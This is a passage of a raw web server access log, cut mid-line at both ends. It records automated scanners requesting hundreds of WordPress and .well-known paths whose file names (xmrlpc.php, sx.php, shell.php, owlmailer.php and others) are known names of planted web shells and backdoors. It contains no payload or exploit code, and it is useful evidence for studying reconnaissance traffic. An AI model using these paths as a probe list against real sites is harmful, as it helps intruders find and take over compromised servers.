/cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:42 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:43 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:43 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:44 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:44 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:45 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:45 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:45 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:46 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:46 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:47 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:47 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:48 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:48 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:48 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:48 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:49 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:49 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:49 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:50 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:50 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:50 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:50 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:51 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:51 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:52 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:52 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:52 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:53 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:53 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:54 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:54 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:54 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:55 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:55 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:56 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:56 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:57 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:57 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:58 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:58 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:58 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:58 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:59 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:59 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:59 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:59 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:00 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:00 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:01 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:01 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:01 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:01 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:02 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:02 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:02 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:03 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:03 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:03 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:03 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:04 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:04 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:04 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:05 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:05 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:05 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:06 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:06 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:06 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:06 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:07 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:07 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:07 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:07 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:08 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:08 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:08 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:08 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:09 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:10 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:10 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:11 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:11 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:11 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:11 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:11 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:12 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:13 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:13 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:13 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:13 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:14 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:14 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:15 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:15 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:16 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:16 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:17 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:17 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:18 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:19 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:20 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:21 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:22 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:23 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:24 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:24 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:25 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:26 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:27 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:04:27 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:05:09:32 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:05:10:01 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:05:10:24 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:05:10:25 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 43.157.156.190 - - [29/Apr/2025:05:13:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.84.211 - - [29/Apr/2025:05:50:22 -0400] "GET / HTTP/1.1" 301 795 "www.bing.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 35.92.55.225 - - [29/Apr/2025:06:27:30 -0400] "HEAD / HTTP/1.1" 301 0 "-" "node" 162.0.232.217 - - [29/Apr/2025:06:34:45 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 185.245.104.75 - - [29/Apr/2025:06:34:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:06:35:04 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:10 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:13 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:21 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:22 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:26 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:29 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:40 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:46 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:48 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:50 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:54 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:54 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:55 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:35:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:11 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:15 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:21 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:29 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:32 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:37 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:42 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:46 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:36:53 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:10 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:14 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:25 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:30 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:40 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:41 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:06:37:47 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 107.151.222.237 - - [29/Apr/2025:07:00:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.84.104.205 - - [29/Apr/2025:07:12:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 43.130.32.245 - - [29/Apr/2025:07:17:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 88.218.46.163 - - [29/Apr/2025:07:24:20 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "http://designpitara.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 88.218.46.163 - - [29/Apr/2025:07:24:28 -0400] "GET /administrator/ HTTP/1.1" 301 795 "http://designpitara.com/administrator/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:07:45:27 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:07:45:35 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:07:46:02 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:07:46:10 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.169.87.17 - - [29/Apr/2025:07:51:29 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:30 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:30 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:30 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:31 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:31 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:32 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:32 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:33 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:33 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:35 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:36 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:36 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:37 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:37 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:38 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:38 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:39 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:39 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:40 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:40 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:41 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:41 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:42 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:42 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:43 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:43 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:43 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:44 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:45 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:45 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:46 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:46 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:46 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:47 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:47 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:48 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:48 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:48 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:49 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:49 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:50 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:50 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:50 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.169.87.17 - - [29/Apr/2025:07:51:51 -0400] "GET 